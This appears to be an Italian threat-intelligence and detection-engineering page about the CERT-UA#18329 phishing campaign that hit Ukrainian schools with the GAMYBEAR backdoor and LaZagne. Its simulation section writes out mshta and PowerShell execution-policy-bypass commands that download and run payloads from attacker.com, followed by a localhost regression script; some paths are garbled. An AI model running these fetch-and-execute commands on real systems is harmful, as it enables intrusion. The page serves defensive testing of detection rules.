Attacco informatico mirato a una scuola dell’Ucraina orientale utilizzando lo strumento GAMYBEAR (CERT-UA#18329)
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Una campagna di furto di credenziali ha colpito scuole e agenzie pubbliche nella regione di Sumy tramite un’email di phishing contenente un allegato ZIP. L’apertura dell’archivio ha attivato un file HTA tramite l’uso di mshta utility, che ha successivamente scaricato script PowerShell per distribuire il backdoor GAMYBEAR e il dumper di credenziali LaZagne, stabilire un C2 basato su HTTP ed esfiltrare file da directory mirate.
Analisi dell’attacco
CERT-UA ha collegato l’inizio della violazione a un messaggio di phishing inviato il 26 maggio 2025 da un account Gmail compromesso, fornendo i dettagli della campagna nell’allerta CERT-UA#18329. L’analisi forense ha rivelato una catena di infezione a più stadi: ZIP → HTA → update.js → PowerShell → GAMYBEAR accompagnato dal malware LaZagne, con persistenza mantenuta tramite una voce di registro Run e download ricorrenti da URL dannosi.
Mitigazione
Implementare l’autenticazione multi-fattore per tutti gli account email, bloccare l’esecuzione di file HTA e script PowerShell non attendibili, bloccare la chiave di registro Run e implementare una whitelist delle applicazioni. Aggiornare continuamente le regole di rilevamento degli endpoint per riconoscere i nomi di file, hashes e indicatori di rete di riferimento.
Risposta
Isolare prontamente gli endpoint interessati, reimpostare le credenziali Gmail compromesse, raccogliere tutti gli IOC identificati ed eseguire scansioni complete per GAMYBEAR, LaZagne e artefatti associati. Informare CERT-UA dell’incidente e distribuire gli IOC attraverso i canali rilevanti per la condivisione delle informazioni sulle minacce.
Flusso di attacco
Rilevamenti
Rilevamento della comunicazione C2 di GAMYBEAR [Connessione di rete Windows]
Visualizza
Rilevamento dell’esecuzione del backdoor GAMYBEAR [Evento file di Windows]
Visualizza
Rilevamento dell’esecuzione di mshta.exe e PowerShell con bypass [Creazione processo Windows]
Visualizza
IOC (HashSha1) da rilevare: Cyberattacco contro un istituto educativo nell’Ucraina orientale utilizzando lo strumento GAMYBEAR (CERT-UA#18329)
Visualizza
IOC (DestinationIP) da rilevare: Cyberattacco contro un istituto educativo nell’Ucraina orientale utilizzando lo strumento GAMYBEAR (CERT-UA#18329)
Visualizza
Simulazioni
Esecuzione della simulazione
Prerequisito: Il controllo preliminare di Telemetria e Base deve essere passato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrativa & Comandi dell’attacco:
-
Fase 1 – Distribuire HTA dannoso: L’aggressore ospita
evil.htasu un server web compromesso. -
Fase 2 – Eseguire tramite
mshta.exe: Utilizzando un prompt dei comandi di Windows, l’aggressore eseguemshta.exe http://attacker.com/evil.hta. Questo crea un evento di creazione di processo conmshta.exenella riga di comando, soddisfacendo la prima clausola della regola. -
Fase 3 – Bypass di PowerShell: Per eseguire un payload che aggira il criterio di esecuzione del sistema, l’aggressore avvia PowerShell con il flag
-ep bypass:PowerShell -ep bypass -Command "Invoke-WebRequest http://attacker.com/payload.ps1 -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1"Questo genera un secondo evento di creazione di processo contenente la stringa esatta
PowerShell -ep bypass, soddisfacendo la seconda clausola.
-
-
Script per il test di regressione: Il seguente script PowerShell riproduce i passaggi sopra in modo automatizzato e ripetibile.
# ------------------------------------------------- # Regression Test – Trigger Sigma Rule for mshta & PowerShell -ep bypass # ------------------------------------------------- # Variables – adjust to your lab environment $htaUrl = "http://127.0.0.1/evil.hta" # Must point to a reachable HTA file $psUrl = "http://127.0.0.1/payload.ps1" # Simple PS payload (e.g., `Write-Host "pwned"`) # 1. Invoke mshta.exe Write-Host "[*] Launching mshta.exe against $htaUrl" Start-Process -FilePath "mshta.exe" -ArgumentList $htaUrl -NoNewWindow # Short pause to ensure the process logs Start-Sleep -Seconds 2 # 2. Invoke PowerShell with execution‑policy bypass $psCmd = "Invoke-WebRequest $psUrl -UseBasicParsing -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1" Write-Host "[*] Launching PowerShell -ep bypass" Start-Process -FilePath "powershell.exe" -ArgumentList "-ep bypass -Command `"$psCmd`"" -NoNewWindow # Pause to allow logging Start-Sleep -Seconds 5 Write-Host "[+] Test complete. Check your SIEM for alerts." -
Comandi per la pulizia: Rimuovere i file temporanei e terminare eventuali processi di test residui.
# Cleanup temporary payload Remove-Item -Path "$env:TEMPp.ps1" -ErrorAction SilentlyContinue # Optionally kill lingering mshta or PowerShell instances spawned by the test Get-Process -Name mshta, powershell -ErrorAction SilentlyContinue | Where-Object { $_.Id -ne $PID } | Stop-Process -Force